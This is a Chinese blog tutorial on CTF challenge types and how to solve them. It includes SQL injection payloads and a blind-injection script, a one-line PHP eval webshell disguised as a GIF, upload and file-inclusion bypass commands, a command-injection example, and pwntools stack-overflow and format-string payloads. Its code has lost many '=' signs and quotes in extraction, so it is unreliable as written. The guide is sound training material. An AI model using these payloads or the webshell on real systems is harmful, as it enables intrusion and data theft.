多彩编程 多彩编程MZPH · CODE BLOG
ARTICLE DETAIL

文章详情

深耕前端与后端开发技术的一线实战笔记与踩坑复盘。

CTF入门必备:常见题型与解题思路全解析

CTF入门必备:常见题型与解题思路全解析 简介面向CTF入门与进阶选手的题型梳理与解题思路文档系统总结Web安全、密码学、逆向工程、PWN和Misc等常见方向的知识体系。内容涵盖基础爆破、SQL注入联合注入、报错注入、盲注、XSS、命令注入、文件上传绕过改包、文件头、00截断、代码审计等Web核心考点以及RSA、Base64、摩尔斯电码、栅栏密码等密码学经典内容同时讲解逆向脱壳、动态调试、栈溢出利用、格式化字符串和隐写术、流量分析等实用技巧。所有知识点均结合具体题型展开配有工具推荐如Burp、菜刀、冰蝎和解题步骤便于读者模仿练习并形成自己的解题流程。文档为docx格式共1个文件约18KB轻量便携可随时查阅。已有2062人学习下载适合备赛CTF的初学者、需要系统梳理题型的中级选手以及安全从业者参考查漏补缺。1. CTF入门夺旗赛到底考什么flag藏在哪CTFCapture The Flag是网络安全技术竞赛最常用的赛制全称“夺旗赛”目标是在限定时间里从题目里找到并提交形如 flag{XXXXXX} 的字符串。我第一次打 CTF 时一道签到题卡了一整晚第二天才发现只是闭合字符少写了一个引号——入门期绝大多数挫败不是能力问题而是题型方法没对上。这份《CTF常见题型及解题思路》整理的就是这个核心问题把 Web、密码学、逆向、PWN、MISC 五大类常见题型拆成可照做的解题路径每类先讲判断依据再讲操作主线。它适合刚入门想建立题型地图的新手也适合参赛前当索引翻的熟练工青少年CTF和新手赛的题库分类也基本逃不出这套框架。2. Web题SQL注入、文件上传与文件包含的完整解题链Web 题是 CTF 里出题量最大的一类也是大多数新手的第一站。它基于默认 80 端口的 HTTP 应用考点分成爆破、注入、文件上传、文件包含、代码审计几个方向。所谓“基础爆破”是先试默认用户名口令、默认路径和配置所谓“注入”是 SQL、XSS、命令执行。Web 题本质是一场对着网页应用做信息收集、找漏洞点、构造 payload 的过程最后拿到那个藏在数据库、文件系统或服务器进程里的 flag。工具先列一张表后面每节都会用到。工具用途Burp Suite抓包改包、请求重放、看响应头HackBar浏览器里快速拼 SQL 与 XSS payload蚁剑 / 冰蝎连接上传的木马管理文件与命令Python / PHP 脚本盲注、爆破、编码转换、协议头构造提示做题前先确认题目给的是源码还是纯黑盒。给源码的题优先做代码审计直接定位漏洞点比在黑盒里盲扫快一个数量级。2.1 SQL注入主线从闭合字符到爆字段的四步走SQL 注入考的不是背 payload而是理解拼接。后端代码大概率是把参数直接拼进了 SQL 语句比如select * from users where id$id你传1就提前闭合了引号后面的内容变成了 SQL 的一部分。所以解题主线永远是先求闭合字符再选择注入模式然后走“爆数据库 → 爆表名 → 爆列名 → 爆字段”这条固定链路。第一步先用引号变体测出闭合方式。-- 测试闭合字符在 id 后加单引号看是否报语法错误 ?id1 -- 数列数从 1 开始往上加第一个报错的数字减一就是实际列数 ?id1 ORDER BY 1-- - ?id1 ORDER BY 2-- - ?id1 ORDER BY 3-- - -- 列数确定后用 UNION SELECT 找页面回显位 ?id1 UNION SELECT 1,2,3-- --- -的作用是注释掉 SQL 语句末尾可能存在的引号或其他残留内容避免结尾语法错误ORDER BY 3表示按第 3 列排序数据库在执行排序前会先校验该列是否存在所以逐次增大数字、第一个报错的数字减一就是列数。UNION SELECT要求前后两个查询的列数一致1,2,3是占位符页面回显了哪个数字哪个位置就能用来带数据。确定回显位后四条查询依次执行-- 1. 爆数据库 ?id1 UNION SELECT 1,database(),3-- - -- 2. 爆表名 ?id1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schemadatabase()-- - -- 3. 爆字段 ?id1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_nameusers-- - -- 4. 爆数据 ?id1 UNION SELECT 1,concat(username,0x3a,password),3 FROM users-- -group_concat把多行结果拼成一行方便在单个回显点看完所有表名或字段名information_schema是 MySQL 的元数据库所有表结构信息都从这里查。0x3a是冒号的十六进制写法用来分隔用户名和密码。如果题目过滤了逗号、空格或关键字就改用FROM子查询、JOIN替代逗号或用%09、%0a替换空格这类技巧在 CTF Web 解题里几乎是每次都要用的基本功。WAF 绕过的思路是让过滤器认不出你的关键字但数据库能认出。常见做法是大小写混写、内联注释/*!select*/、十六进制编码以及把空格替换成注释符。比如select被过滤时写成selec%74或/*!50000select*/MySQL 会把内联注释里的内容当正常 SQL 执行。绕过没有万能公式每道题的过滤规则都不同唯一的笨办法是把 payload 拆成一节一节去试看哪一截被拦再针对性替换。2.2 报错注入与盲注页面没回显时怎么拿数据联合注入的前提是页面有数据回显位但很多题目会把输出关掉只留一个“查询失败”的报错框。这时两条路报错注入和盲注。报错注入适用于页面能把 SQL 错误信息打到前端的情况速度最快。MySQL 里常用的函数是updatexml和extractvalue当第二个参数格式错误时数据库会把参数内容带回错误信息里。-- 报错注入把查库结果拼进报错信息 ?id1 AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)-- - -- 布尔盲注逐字符比较页面真假差异由你构造的表达式决定 ?id1 AND substr((SELECT database()),1,1)s-- - -- 时间盲注条件成立才 sleep用响应时长判断 ?id1 AND IF(ascii(substr((SELECT database()),1,1))100,1,SLEEP(3))-- -concat(0x7e, ...)里的0x7e是波浪号~故意把它放进报错参数里让错误信息携带你要查的内容substr从字符串指定位置截取一个字符ascii把字符转成数字方便做大小比较。时间盲注靠SLEEP(3)制造延迟条件成立响应明显变慢不成立则立即返回。盲注拿到字符后手工测试太慢我会直接用脚本循环下面是一个布尔盲注的通用骨架。import requests url http://127.0.0.1/index.php flag for i in range(1, 40): # 逐字符位试探40 是长度上限 for ch in abcdefghijklmnopqrstuvwxyz0123456789{}: payload f1 AND substr((SELECT database()),{i},1){ch}-- - r requests.get(url, params{id: payload}) if True in r.text: # 页面特征按题目实际回显调整 flag ch print(flag) break脚本先按位遍历再把每一位的候选字符代入布尔表达式页面出现“True”特征即命中。range(1, 40)是长度上限根据题目 flag 格式调整候选字符集要包含大小写字母、数字和花括号。这个脚本改成时间盲注也很容易把判断条件从页面差异改为响应耗时即可。SQL 注入的盲注不是玄学本质就是“一个字符一个字符地猜”慢但一定能出结果。2.3 文件上传绕过、文件包含与命令执行三条 getshell 路文件上传题的终点是上传一个能执行 PHP 或 JSP 代码的 webshell但服务端会做各种检查。常见绕过姿势有五类客户端改包、插入文件头、后缀黑名单疏漏、00 截断、中间件解析漏洞。一张典型的图片马内容如下GIF89a ?php eval($_POST[x]); ?GIF89a是 GIF 图片的开头签名能骗过只校验文件头的检测eval($_POST[x])是一句话木马蚁剑客户端通过 POST 参数x发送命令。上传时在 Burp 里改filename字段把文件名改成shell.php.jpg、shell.php%00.jpg或直接shell.php分别对应黑名单绕过、00 截断和中间件解析歧义。%00截断只对老版本 PHP 有效新版已经修掉遇到新环境别再浪费时间。文件包含题不直接执行上传的马而是利用include函数去加载你控制的文件。没有文件可上传时优先试 PHP 伪协议这是从源码里读配置信息最快的方式。# 用 php://filter 读源码内容以 base64 输出避免被解析 curl http://target/index.php?pagephp://filter/convert.base64-encode/resourceconfig.php # 用 data:// 协议直接写入一句话木马需要 allow_url_includeOn curl http://target/index.php?pagedata://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ3gnXSk7Pz4php://filter把文件内容转成 base64 后输出这样 PHP 源码里的尖括号不会被解析你能干净地拿到完整代码data://协议允许在 URL 里直接塞一段 base64 编码的 PHP 代码常见做法是把图片木马、日志文件、Session 文件、临时文件作为包含对象 getshell。命令执行类题则盯住后端的passthru、exec、system这几个函数确认cmd参数位置后直接用分号拼接或管道符绕过空格过滤比如?cmdcat /flag.txt;ls这类考法在新生赛里出现频率很高。3. 密码学Crypto编码识别、RSA与哈希的实战拆解密码学在 CTF 题库里占的分值通常不高但它是新手相对容易拿分的一个板块因为每类题型都有固定脚本。密钥算法看不懂也能先跑通脚本关键前提是识别准确先判断这题是编码、哈希还是真正的加密算法这一步走错后面全白费。Crypto 题的做题顺序是“先剥壳再解核”九成签到题都倒在编码层剩下的一成里 RSA 又占了大半。3.1 编码类题目从特征到识别的五分钟清单Crypto 题里有一大半其实是编码题考的不是数学而是识别速度。很多人一上来就套 RSA 解密脚本结果题目只是 Base64 套了几层白白浪费时间。我的习惯是先走一遍特征清单逐条排除再决定是否进入密码分析。下面这张表是我做题时常用的识别顺序特征候选编码结尾带 且含 /Base64 系列只有 0-9 a-f长度偶数Hex全部是 . 和 - 组合摩尔斯电码两个符号重复排列5 个一组培根密码字母整体偏移频率分布规律明显凯撒 / ROT13字母频率异常且呈现周期性维吉尼亚密码图形符号像小猪圈猪圈密码每一条都有明确的判断依据Base64 的长度必定是 4 的倍数末尾的是补位符Hex 只含 16 种字符摩尔斯以空格分隔单词、以斜杠分隔字母培根每 5 个字符一组映射成 A/B。像 old-fashioned 这类复古风格的题目本质就是凯撒或维吉尼亚的变体把位移穷举和频率分析跑一遍就出来。判定完编码后很多题还会把多种编码嵌套比如先 Hex 再 Base64 再栅栏没有捷径只能一层层剥babyencoding 这类新生赛题目就经常这样设计。3.2 RSA拿到公钥参数后怎么算私钥RSA 是 CTF 密码学里最常考的非对称算法。题目通常会直接给出p、q、e、c有的给n不给p和q那就需要先分解n。当n很小或两个素数靠得很近时用 factor 或 yafu 几秒就能分解出来这就是网上那些factor.py解题脚本的适用场景。拿到参数后解密脚本是固定的五步import gmpy2 from Crypto.Util.number import long_to_bytes p 285960468890451637935629440372639283459 q 304008741604601924494328155975272418463 e 65537 c 287616588931046317868616950939603960188 n p * q phi (p - 1) * (q - 1) # 欧拉函数仅当 p、q 为素数时成立 d gmpy2.invert(e, phi) # 求 e 在模 phi 下的逆元即私钥 m pow(c, d, n) # 快速幂解密 print(long_to_bytes(m))gmpy2.invert是求模逆的库函数直接算出私钥dpow(c, d, n)是 Python 内置的大数快速幂性能足够long_to_bytes把整数m转回字节流打印结果就是明文。需要注意phi的计算前提是p和q确实为素数否则欧拉函数不成立解密会得到乱码。进阶考法还有低指数攻击当e很小、c的 e 次方根小于n直接开方就能还原明文两部分密文共用同一个n但不同e时可以用共模攻击。建议先把基础脚本跑通再逐步往上加这些变体。3.3 哈希与置换密码识别弱口令和栅栏结构哈希类题目考的是散列函数的性质MD5、SHA1、SHA256 这类算法不可逆题目不会让你逆向算法而是给你一个哈希值让你猜原文。常见解法是撞库把题目里的低位数、键盘相邻字符、常见英文单词丢进在线彩虹表或 hashcat 字典里跑。常规做法是先用弱口令字典试比如123456、admin888不少新人赛的题目就这么设的。散列函数没有密钥解题速度完全取决于你能不能从哈希样式反推原文特征。栅栏密码属于置换密码把明文按行数排成矩形、再按列读出解密时按列数填回去即可判别特征是字母顺序被打乱但频率不变。def rail_fence_decrypt(c, rails): n, idx len(c), 0 step (rails - 1) * 2 # 之字形每行之间的步长 line [] * rails for r in range(rails): # 按行恢复字符 for i in range(n): rr rails - 1 - abs(rails - 1 - (i % step)) if rr r: line[r] c[idx] idx 1 plain for i in range(n): # 按之字形顺序合并 rr rails - 1 - abs(rails - 1 - (i % step)) plain line[rr][0] line[rr] line[rr][1:] return plainstep是之字形轨道上同一行相邻字符的间距外层循环先把密文字符按行分回栅栏内层循环再按写入顺序合并出明文。常见栅栏行数是 2、3、5 这几个值写一个从 2 到 10 的循环试一遍看到可读英文即止。多数加解密脚本在 CTFtools 里都能直接跑重点是确认行数这也是置换密码类题目唯一的参数。4. Reverse与PWN逆向脱壳、动态调试与栈溢出的实操路径逆向和 PWN 是 CTF 里门槛最高的两个板块前者要读懂程序逻辑后者要构造溢出条件让程序执行你没权限执行的代码。很多新手对这两个方向有畏难情绪其实从工具链入手并不复杂逆向的核心是“静态分析为主、动态调试为辅”PWN 的核心是把溢出偏移算准。这两类题的共同点是环境敏感本地能跑通不代表远程能跑通后面避坑章节会专门讲。4.1 逆向入口脱壳、反编译和断点位置逆向题给的一般是 ELF 或 PE 文件目标是找到主流程里对输入校验的逻辑。拿到文件先别急着打开 IDA用file、strings、checksec三条命令把基本信息摸清。老手常说逆向是个黑匣子你能看到的只有输入输出内部逻辑全靠静态和动态两个手段互相印证。file baby_rev # 看架构、32 位还是 64 位、是否静态链接 strings baby_rev | grep -i flag # 找硬编码字符串经常直接出 flag checksec --filebaby_rev # 看 PIE、NX、Canary、RELRO 是否开启 objdump -d baby_rev | grep -A 30 main # 快速看 main 的反汇编file的输出决定后面用eax还是rax这类寄存器strings里经常直接出现硬编码的 flag 或提示字符串checksec的结果决定利用思路开了 NX 就不能执行栈上代码开了 PIE 则每次加载的地址都会变。静态分析用 IDA 打开 main 函数找到strcmp或自定义校验函数F5 反编译成伪代码后很多题的 flag 就是硬编码比较的字符串一眼就能看出来。遇到加了壳的题目先upx -d脱壳脱完重新载入 IDA手动脱壳则要找到原始入口点 OEP在pushad之后下断点单步跟踪到popad的位置。动态调试我常用 gdb先在可疑函数入口和循环内部下断点运行后观察寄存器变化理解函数调用约定谁传参、谁清栈是读懂反汇编的基础。4.2 PWN栈溢出从ret2text到格式化字符串PWN 题的核心是让目标程序执行你没权限执行的代码最常见的入口就是栈溢出。当程序用gets、strcpy这类不检查长度的函数读入数据时超出缓冲区大小的那部分会一路覆盖到返回地址只要控制得够准程序返回时就直接跳到你指定的函数。这类题最简单的形态叫 ret2text直接跳回程序里已有的后门函数。from pwn import * context(archamd64, oslinux, log_leveldebug) elf ELF(./pwn) p process(./pwn) # 先用 cyclic(100) 找偏移core dump 里看 rip 被哪个字符串覆盖 padding bA * 40 payload padding p64(0x401186) # 覆盖返回地址到后门函数 p.sendline(payload) p.interactive()p64()把 64 位地址按小端序打包成 8 字节0x401186是程序里 win 或后门函数的地址用 IDA 在 main 附近就能找到。40是缓冲区到返回地址的偏移量必须用cyclic精确测出来不能靠猜——不同编译选项和 libc 下偏移可能差几个字节。格式化字符串漏洞是另一种考法printf(user_input)直接把输入当格式串解析%s、%7$s这些记号会按序号从栈上取参数常见利用是泄漏栈上地址绕过 ASLR或者用%n把指定地址改写成目标值。payload b%p.%p.%p.%p.%p # 泄漏栈上的指针序列 payload b%7$s.ljust(8, b\x00) p64(addr) # 读 addr 指向的内容 p.sendline(payload)%7$s表示把第 7 个参数当作字符串指针来打印前面的.ljust(8)用于对齐保证后面p64(addr)里的地址落在被当作参数的位置上。格式化字符串题里提前用题目提供的 libc 文件匹配偏移是常规操作能省一半时间。4.3 整数溢出、条件竞争与逻辑漏洞没有固定 payload 的 PWN栈溢出之外PWN 还常考三类边界类漏洞。整数溢出利用的是类型转换的边界一个 signed int 读入超过2^31 - 1的大数时绕回成负数负数的数组下标就可能读到越界内存进而泄露或改写关键数据。数组边界溢出则是下标校验不严访问超出数组范围的内容常用于绕过节流判断。条件竞争依赖多线程或并发请求制造竞态窗口典型模式是先判断后使用check-then-use在两次操作之间把目标文件或对象换掉导致校验失效。逻辑漏洞更多出现在代码审计场景比如金额参数为负、角色字段未校验、状态机跳过某一步。这类题没有固定 payload解法是先把校验顺序读透找到“哪一步先判断、哪一步后使用”再写脚本并发打窗口。做这类题时建议在本地把每一步的内存状态打出来对照一次一次缩小条件窗口的范围直到稳定命中。5. 避坑指南CTF解题中最常见的五处翻车现场下面五条是我在练习和带新人过程中反复遇到的翻车点每一条都按“现象 → 原因 → 解决”整理希望你在复现时不再走这些弯路。5.1 联合注入一直报错闭合和列数谁先谁后现象注入点明显存在id1也报错但一上UNION SELECT就提示查询失败页面完全没回显。原因多数是闭合字符猜错了或者没测列数就直接SELECT 1,2,3,4UNION 要求前后列数一致列数对不上必然失败。解决先做闭合测试把、、)、))逐个放到参数后面看哪个能稳定引发 SQL 语法错误再用ORDER BY从 1 递增测列数第一个报错的数字减一就是列数最后才拼 UNION 占位符。这个顺序一旦颠倒排查时间直接翻倍是我踩过最深的坑之一。5.2 图片马传上去了访问却是源码现象上传成功路径也能访问但浏览器显示的是 PHP 源码而不是执行结果或者访问直接 404。原因脚本根本没被解析常见是上传目录不可执行、中间件把文件当静态资源处理或者解析漏洞没生效。解决先确认中间件版本对应的解析规则Apache 2.x 的shell.php.jpg解析、Nginx 的/upload/shell.jpg/1.php解析是最常见两种再确认上传目录是否有脚本执行权限必要时把马传到可解析的目录。上传后用蚁剑连接一次能连上才算成功别只看上传接口返回的那个路径。5.3 密文拿到手先别急着上 RSA现象题目给了一段看似乱码的字符串直接套 RSA 解密脚本折腾半天解不出。原因没做编码识别把 Base64、Morse、培根这类编码题误当成加密题处理。解决先用第 3 章的编码特征清单逐项排除结尾带是 Base64全点划是摩尔斯5 位一组两符号是培根确认不是纯编码后才进入算法分析。密码学题目的前半场永远是识别后半场才轮到数学这个顺序能救回大量无效时间。5.4 PWN 本地正常远程一打就炸现象本地跑 exploit 成功 get shell换到远程地址就段错误或者完全没回显。原因远程 libc 版本与本地不一致ROP 链里的 gadget 偏移全错也可能是远程开启了本地没开的 PIE 或 ASLR地址每次都变。解决题目附带libc.so时用patchelf或LD_PRELOAD让本地程序跑在同样版本 libc 上再重新计算ret2libc里system和/bin/sh的偏移没附 libc 就先泄漏函数地址再匹配在线 libc 数据库。默认习惯是远程连通后 header 里的路径、端口、libc 版本先抓全再决定 payload 用哪一套。5.5 MISC 图片题 strings 跑完全是乱码现象strings输出一大屏乱码没有 flag 关键字以为这题是死题。原因flag 藏在 LSB 隐写位或内嵌压缩包里或者图片文件头损坏明文扫描自然看不到。解决按固定顺序来binwalk -e分离内嵌文件zsteg查 PNG/BMP 的 LSBstegsolve 逐通道看色板如果文件头坏了用foremost按文件签名恢复。USB 流量题注意先确认报文长度是不是 8 字节再按第 3 字节映射 HID 键码错位一个字节全是乱码这也是我在流量题上翻车最多的地方。6. 收尾技巧MISC杂项与流量分析的检查顺序和几个快招MISC 在 CTF 题库里常被当成签到题其实它最能拉开做题速度。很多杂项题考的不是深入技能而是你有没有先跑那几条固定命令。下面这套检查顺序能覆盖大部分图片类签到题的场景也是我每次拿到杂项题的第一反应。strings misc.png | grep -i flag # 扫可打印字符串flag 明文直接出 binwalk misc.png # 检测文件尾部是否拼接了压缩包 binwalk -e misc.png # 自动分离内嵌文件 zsteg misc.png # 查 PNG/BMP 的 LSB 隐写 foremost misc.png -o out # 按文件签名恢复被删除或藏起来的文件strings扫可打印字符适合 flag 明文直接出现的送分题binwalk检测尾部拼接的压缩包或附加文件-e参数会自动把检测到的内容分离出来zsteg处理 LSB 隐写结果会直接打印隐藏字符串是图片隐写里性价比最高的一个命令foremost按文件签名恢复被破坏或删除的文件适合题目把 flag 藏进一个“坏文件”里的场景。流量分析是 MISC 另一大高频考点USB 流量尤其典型。题目给一个usb.pcap记录的是 USB HID 键盘报文需要把每个包的按键码还原成字符。tshark -r usb.pcap -Y usb.capdata -T fields -e usb.capdata输出的字节流按 8 字节一行切分第三个字节就是按键码。对照 HID usage table把0x04对应 A、0x05对应 B 一个个还原出来再按时间戳排序就能拼出键盘输入序列。这类题名称通常带usb或keyboard看到关键词就知道解法方向在哪。日志分析则反过来先找异常时间点再找异常 IP 和 UA逐步收窄范围磁盘文件恢复用testdisk扫描分区能找回被删除的 flag 文件常规做法是先把镜像只读挂载避免写入覆盖。从那以后我每次拿到 MISC 题都强制先走一遍stringsbinwalkzsteg三连再决定要不要上更重的分析工具。复杂的流量包、磁盘镜像也先跑粗过滤再谈细分析这个习惯帮我避开了好几道“看起来没有 flag”的坑题。CTF 的进步没有捷径就是把每一类题型的固定动作练成肌肉记忆希望帮到你。本文还有配套的精品资源点击获取
返回列表